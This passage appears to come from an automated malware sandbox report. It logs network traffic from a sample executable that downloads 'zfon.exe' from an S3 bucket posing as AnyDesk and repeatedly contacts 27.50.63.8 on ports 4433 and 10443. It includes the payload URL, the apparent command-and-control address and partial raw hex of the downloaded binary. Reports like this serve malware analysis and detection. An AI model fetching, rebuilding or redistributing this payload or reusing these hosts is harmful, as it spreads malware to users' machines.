Dec 18, 2024 13:06:11.690045118 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.690057993 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.690109968 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.690118074 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.690277100 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.690290928 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.690336943 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.911842108 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.911853075 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.911909103 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.911947966 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.911993980 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.912005901 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.912019968 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.912363052 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.138681889 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.138708115 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.138832092 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.138842106 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.138892889 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.145194054 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.185436964 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.185461044 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.185606956 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.185619116 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.237462044 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.237473965 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.284359932 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.394427061 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.394440889 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.394494057 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.394498110 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.394519091 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.394539118 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.394551039 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.394567966 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.394587994 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.394596100 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.440548897 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.530759096 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.530775070 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.530807972 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.530847073 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.530857086 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.531022072 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.531035900 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.576266050 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.635720015 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.635735989 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.635795116 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.635822058 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.635849953 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.635865927 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.635876894 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.635931015 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.650412083 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.650423050 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.650460005 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.650490046 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:12.650497913 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.650527000 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.650547981 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:12.651017904 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:25.854545116 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:06:25.974111080 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:25.974237919 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:06:29.399926901 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:06:29.638916969 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:29.638933897 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:29.638942957 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:29.638952017 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:30.141619921 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:30.221925974 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:06:30.246294975 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:06:30.365860939 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:30.365892887 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:30.365957975 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:30.366014957 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:30.366027117 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:06:30.485449076 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:50.482614994 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:06:50.602132082 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:51.007214069 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:06:51.060076952 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:09.574800968 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:09.694451094 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:10.099812984 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:10.152422905 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:27.871495962 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:27.991255999 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:28.396506071 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:28.449311018 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:44.715734959 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:44.715780020 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:44.835333109 CET	4433	49794	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:44.835388899 CET	49794	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:49.714345932 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:49.833933115 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:49.834031105 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:51.198014021 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:51.317794085 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:51.317838907 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:51.317874908 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:51.317934036 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:51.965949059 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:52.121172905 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:52.619574070 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:52.739650965 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:52.739684105 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:52.739717007 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:07:52.739818096 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:52.739835024 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:07:52.859265089 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:07.199796915 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:07.320457935 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:07.727238894 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:07.877031088 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:24.793258905 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:24.914757967 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:25.321516037 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:25.418081045 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:41.777662992 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:41.777714014 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:41.897352934 CET	10443	49998	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:41.897444010 CET	49998	10443	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:46.731203079 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:46.850872993 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:46.855031013 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:48.841269970 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:48.961283922 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:48.961313009 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:48.961329937 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:48.961349964 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:49.603595972 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:49.739937067 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:49.804444075 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:49.924206018 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:49.924230099 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:49.924246073 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:49.924258947 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:08:49.924264908 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:08:50.043934107 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:09:04.949543953 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:09:05.069375992 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:09:05.472817898 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:09:05.540215969 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:09:22.528592110 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:09:22.648085117 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:09:23.051512003 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:09:23.208380938 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:09:39.575072050 CET	50012	4433	192.168.2.5	27.50.63.8
Dec 18, 2024 13:09:39.694735050 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:09:40.097928047 CET	4433	50012	27.50.63.8	192.168.2.5
Dec 18, 2024 13:09:40.246264935 CET	50012	4433	192.168.2.5	27.50.63.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:05:40.168242931 CET	53001	53	192.168.2.5	1.1.1.1
Dec 18, 2024 13:05:40.377370119 CET	53	53001	1.1.1.1	192.168.2.5
Dec 18, 2024 13:05:51.576292992 CET	58228	53	192.168.2.5	1.1.1.1
Dec 18, 2024 13:05:51.780801058 CET	53	58228	1.1.1.1	192.168.2.5
Dec 18, 2024 13:05:59.143595934 CET	51830	53	192.168.2.5	1.1.1.1
Dec 18, 2024 13:05:59.281693935 CET	53	51830	1.1.1.1	192.168.2.5
Dec 18, 2024 13:06:05.979022980 CET	61605	53	192.168.2.5	1.1.1.1
Dec 18, 2024 13:06:06.234361887 CET	53	61605	1.1.1.1	192.168.2.5
Dec 18, 2024 13:06:29.887763023 CET	51896	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 13:05:40.168242931 CET	192.168.2.5	1.1.1.1	0xa0d3	Standard query (0)	anydesk17.s3.ap-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:05:51.576292992 CET	192.168.2.5	1.1.1.1	0x1df8	Standard query (0)	anydesk17.s3.ap-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:05:59.143595934 CET	192.168.2.5	1.1.1.1	0x1125	Standard query (0)	anydesk17.s3.ap-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:06:05.979022980 CET	192.168.2.5	1.1.1.1	0x7cae	Standard query (0)	anydesk17.s3.ap-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:06:29.887763023 CET	192.168.2.5	1.1.1.1	0x7cef	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 13:05:40.377370119 CET	1.1.1.1	192.168.2.5	0xa0d3	No error (0)	anydesk17.s3.ap-east-1.amazonaws.com	s3-r-w.ap-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:05:40.377370119 CET	1.1.1.1	192.168.2.5	0xa0d3	No error (0)	s3-r-w.ap-east-1.amazonaws.com		3.5.237.31	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:05:40.377370119 CET	1.1.1.1	192.168.2.5	0xa0d3	No error (0)	s3-r-w.ap-east-1.amazonaws.com		3.5.238.29	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:05:51.780801058 CET	1.1.1.1	192.168.2.5	0x1df8	No error (0)	anydesk17.s3.ap-east-1.amazonaws.com	s3-r-w.ap-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:05:51.780801058 CET	1.1.1.1	192.168.2.5	0x1df8	No error (0)	s3-r-w.ap-east-1.amazonaws.com		3.5.238.183	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:05:51.780801058 CET	1.1.1.1	192.168.2.5	0x1df8	No error (0)	s3-r-w.ap-east-1.amazonaws.com		52.95.162.58	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:05:59.281693935 CET	1.1.1.1	192.168.2.5	0x1125	No error (0)	anydesk17.s3.ap-east-1.amazonaws.com	s3-r-w.ap-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:05:59.281693935 CET	1.1.1.1	192.168.2.5	0x1125	No error (0)	s3-r-w.ap-east-1.amazonaws.com		3.5.239.146	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:05:59.281693935 CET	1.1.1.1	192.168.2.5	0x1125	No error (0)	s3-r-w.ap-east-1.amazonaws.com		52.95.161.53	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:06:06.234361887 CET	1.1.1.1	192.168.2.5	0x7cae	No error (0)	anydesk17.s3.ap-east-1.amazonaws.com	s3-r-w.ap-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:06:06.234361887 CET	1.1.1.1	192.168.2.5	0x7cae	No error (0)	s3-r-w.ap-east-1.amazonaws.com		52.95.161.33	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:06:06.234361887 CET	1.1.1.1	192.168.2.5	0x7cae	No error (0)	s3-r-w.ap-east-1.amazonaws.com		52.95.160.78	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:06:30.024620056 CET	1.1.1.1	192.168.2.5	0x7cef	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

anydesk17.s3.ap-east-1.amazonaws.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	3.5.237.31	443	1472	C:\Users\user\Desktop\VJQyKuHEUe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:05:42 UTC	94	OUT	GET /zfon.exe HTTP/1.1 Host: anydesk17.s3.ap-east-1.amazonaws.com Connection: Keep-Alive
2024-12-18 12:05:43 UTC	447	IN	HTTP/1.1 200 OK x-amz-id-2: ZveAHjRBx716hkN64ZfUR7XXfnibshdG4f++qUuoZ0blm5PE27loBiFPDhGAyzAyOln4Qbfo3M56jJIO1F0jSHN8BY8/kEtn x-amz-request-id: KQR1N4PHTFS88F6Q Date: Wed, 18 Dec 2024 12:05:44 GMT Last-Modified: Fri, 13 Dec 2024 18:14:06 GMT ETag: "44ad77338a945fe1451861b59267a68d" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: binary/octet-stream Content-Length: 2659840 Server: AmazonS3 Connection: close
2024-12-18 12:05:43 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf cc 31 f5 fb ad 5f a6 fb ad 5f a6 fb ad 5f a6 1e f4 5a a7 f9 ad 5f a6 65 0d 98 a6 fa ad 5f a6 c0 f3 5c a7 f8 ad 5f a6 c0 f3 5a a7 e0 ad 5f a6 c0 f3 5b a7 f5 ad 5f a6 c0 f3 5e a7 ff ad 5f a6 09 f4 5b a7 f7 ad 5f a6 29 f6 5a a7 a0 ad 5f a6 86 d4 82 a6 f8 ad 5f a6 6c f3 5a a7 f1 ad 5f a6 f2 d5 cc a6 e1 ad 5f a6 fb ad 5e a6 c7 ac 5f a6 69 f3 5a a7 c8 ad 5f a6 69 f3 5f a7 fa ad 5f Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$1___Z_e_\_Z_[_^_[_)Z__lZ__^_iZ_i__
2024-12-18 12:05:43 UTC	577	IN	Data Raw: 49 23 c6 48 3b d8 73 0f 48 b8 00 00 00 00 00 00 00 80 48 3b c8 73 1a 48 8d 0c 5b 48 c1 e1 03 e8 8c c7 ff ff 48 89 07 48 8b c3 49 23 c6 48 89 47 10 44 0f b6 4c 24 40 48 8b d6 4c 8b 07 48 8b cd e8 eb 02 00 00 48 8b 6c 24 50 48 89 5f 08 48 8b 5c 24 48 48 83 c4 20 41 5e 5f 5e c3 cc cc cc cc 48 3b ca 0f 84 8d 00 00 00 57 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 40 48 8b fa 48 8d 59 08 4c 8b 43 08 4d 85 c0 74 16 49 8b 40 08 48 63 48 04 49 83 c0 08 49 03 c8 48 8b 01 ff 50 08 90 48 8b 13 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 8b 53 f8 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c3 20 48 8d 43 f8 48 3b c7 75 97 48 8b 5c 24 40 48 83 c4 30 5f c3 cc cc cc cc cc cc cc cc Data Ascii: I#H;sHH;sH[HHHI#HGDL$@HLHHl$PH_H\$HH A^_^H;WH0HD$ H\$@HHYLCMtI@HcHIIHPHHtHBHcHHHHPHSHtHBHcHHHHPH HCH;uH\$@H0_
2024-12-18 12:05:43 UTC	16384	IN	Data Raw: 8b 06 48 63 48 04 48 03 ce 83 49 10 02 48 83 79 08 00 75 04 83 49 10 01 45 84 ff 75 19 48 8b 06 48 63 48 04 48 03 ce 83 49 10 04 48 83 79 08 00 75 04 83 49 10 01 48 8b 7c 24 48 48 8b c6 48 8b 5c 24 40 48 8b 6c 24 50 48 83 c4 20 41 5f 41 5e 5e c3 48 8b 06 48 63 48 04 48 8b 54 31 08 48 8b 42 10 48 3b 42 18 75 0b 48 8b 02 48 8b ca ff 50 40 eb c3 48 ff c0 48 89 42 10 eb ba cc cc cc 48 89 4c 24 08 48 83 ec 48 48 c7 44 24 20 fe ff ff ff 48 8b c2 48 8d 54 24 68 48 89 54 24 28 48 89 4c 24 30 48 85 c9 74 36 48 8d 15 b8 5c 0e 00 48 89 11 33 d2 48 89 51 08 88 51 10 48 8b 40 08 48 85 c0 74 06 4c 8b 40 08 eb 03 4c 8b c2 48 85 c0 74 03 48 8b 10 41 b1 01 e8 c2 e8 ff ff 90 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc 40 53 55 56 57 41 54 41 56 41 57 48 83 ec 30 48 Data Ascii: HcHHIHyuIEuHHcHHIHyuIH\|$HHH\$@Hl$PH A_A^^HHcHHT1HBH;BuHHP@HHBHL$HHHD$ HHT$hHT$(HL$0Ht6H\H3HQQH@HtL@LHtHAHH@SUVWATAVAWH0H
2024-12-18 12:05:43 UTC	1024	IN	Data Raw: 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c4 78 41 5f 41 5e 41 5d 41 5c 5f 5e 5b 5d c3 cc cc cc cc 40 57 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 40 49 8b f9 49 8b d8 4c 8b 02 4d 85 c0 74 16 49 8b 40 08 48 63 48 04 49 83 c0 08 49 03 c8 48 8b 01 ff 50 08 90 48 8b 13 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 8b 17 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 8b 5c 24 40 48 83 c4 30 5f c3 cc 40 57 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 40 49 8b f9 49 8b d8 4c 8b 02 4d 85 c0 74 16 49 8b 40 08 48 63 48 04 49 83 c0 08 49 03 c8 48 8b 01 ff 50 08 90 48 8b 13 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 Data Ascii: tHBHcHHHHPHxA_A^A]A\_^[]@WH0HD$ H\$@IILMtI@HcHIIHPHHtHBHcHHHHPHHtHBHcHHHHPH\$@H0_@WH0HD$ H\$@IILMtI@HcHIIHPHHtHBHcHHHH
2024-12-18 12:05:43 UTC	16384	IN	Data Raw: ab 0b 00 48 89 45 a8 33 c9 48 89 08 48 89 48 08 48 89 48 10 40 88 7d b0 44 8b cf 4c 8b 45 a8 48 8b d3 48 8b ce e8 d9 99 01 00 48 8d 75 a0 eb 14 48 8b 12 48 8d 4d b8 e8 a3 92 ff ff 48 8b f0 bf 02 00 00 00 89 7d 38 49 8b d6 48 8d 4d d8 e8 3c e1 ff ff 48 8b d8 48 8d 55 d0 49 8b cf e8 cd e1 ff ff 90 4c 8b cb 4c 8d 45 e0 48 8b d6 48 8b 08 e8 0a 41 01 00 90 48 8b 4d d0 48 85 c9 74 07 48 8b 01 ff 50 08 90 48 8b 45 d8 48 85 c0 74 16 48 8b 48 08 48 63 51 04 48 8d 48 08 48 03 ca 48 8b 01 ff 50 08 90 40 f6 c7 02 74 31 83 e7 fd 4c 89 65 b8 48 8b 4d c0 48 85 c9 74 21 80 7d c8 00 74 13 e8 31 99 01 00 ba 18 00 00 00 48 8b 4d c0 e8 67 a9 0b 00 4c 89 6d c0 c6 45 c8 00 40 f6 c7 01 74 2e 4c 89 65 a0 48 8b 4d a8 48 85 c9 74 21 80 7d b0 00 74 13 e8 fd 98 01 00 ba 18 00 00 00 Data Ascii: HE3HHHHH@}DLEHHHuHHMH}8IHM<HHUILLEHHAHMHtHPHEHtHHHcQHHHHP@t1LeHMHt!}t1HMgLmE@t.LeHMHt!}t
2024-12-18 12:05:43 UTC	1024	IN	Data Raw: 00 48 2b 37 ba 32 00 00 00 48 8b cf e8 1e 52 ff ff 48 8b 0f 48 3b 77 08 73 12 48 8d 14 31 41 b8 32 00 00 00 ff 15 bd d0 0d 00 eb 2b 0f 10 05 34 b7 1d 00 0f 11 01 0f 10 0d 3a b7 1d 00 0f 11 49 10 0f 10 05 3f b7 1d 00 0f 11 41 20 0f b7 05 44 b7 1d 00 66 89 41 30 48 8b 07 c6 40 32 00 48 c7 47 08 32 00 00 00 48 8d bb c0 01 00 00 48 89 6f 08 48 8d 47 18 48 89 07 4c 89 77 10 c6 00 00 48 8d 35 19 b7 1d 00 48 2b 37 ba 31 00 00 00 48 8b cf e8 99 51 ff ff 48 8b 0f 48 3b 77 08 73 12 48 8d 14 31 41 b8 31 00 00 00 ff 15 38 d0 0d 00 eb 2a 0f 10 05 e7 b6 1d 00 0f 11 01 0f 10 0d ed b6 1d 00 0f 11 49 10 0f 10 05 f2 b6 1d 00 0f 11 41 20 0f b6 05 f7 b6 1d 00 88 41 30 48 8b 07 c6 40 31 00 48 c7 47 08 31 00 00 00 48 8d bb e8 01 00 00 48 89 6f 08 48 8d 47 18 48 89 07 4c 89 77 Data Ascii: H+72HRHH;wsH1A2+4:I?A DfA0H@2HG2HHoHGHLwH5H+71HQHH;wsH1A18*IA A0H@1HG1HHoHGHLw
2024-12-18 12:05:43 UTC	1749	IN	Data Raw: 83 ec 38 48 c7 44 24 20 fe ff ff ff 48 8b 11 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c4 38 c3 48 83 ec 38 48 c7 44 24 20 fe ff ff ff 48 8b 11 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c4 38 c3 48 83 ec 38 48 c7 44 24 20 fe ff ff ff 48 8b 11 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c4 38 c3 48 83 ec 38 48 c7 44 24 20 fe ff ff ff 48 8b 11 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c4 38 c3 48 83 ec 38 48 c7 44 24 20 fe ff ff ff 48 8b 11 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c4 38 c3 48 83 ec 38 48 c7 44 24 20 fe ff ff ff 48 8b 11 Data Ascii: 8HD$ HHtHBHcHHHHPH8H8HD$ HHtHBHcHHHHPH8H8HD$ HHtHBHcHHHHPH8H8HD$ HHtHBHcHHHHPH8H8HD$ HHtHBHcHHHHPH8H8HD$ H
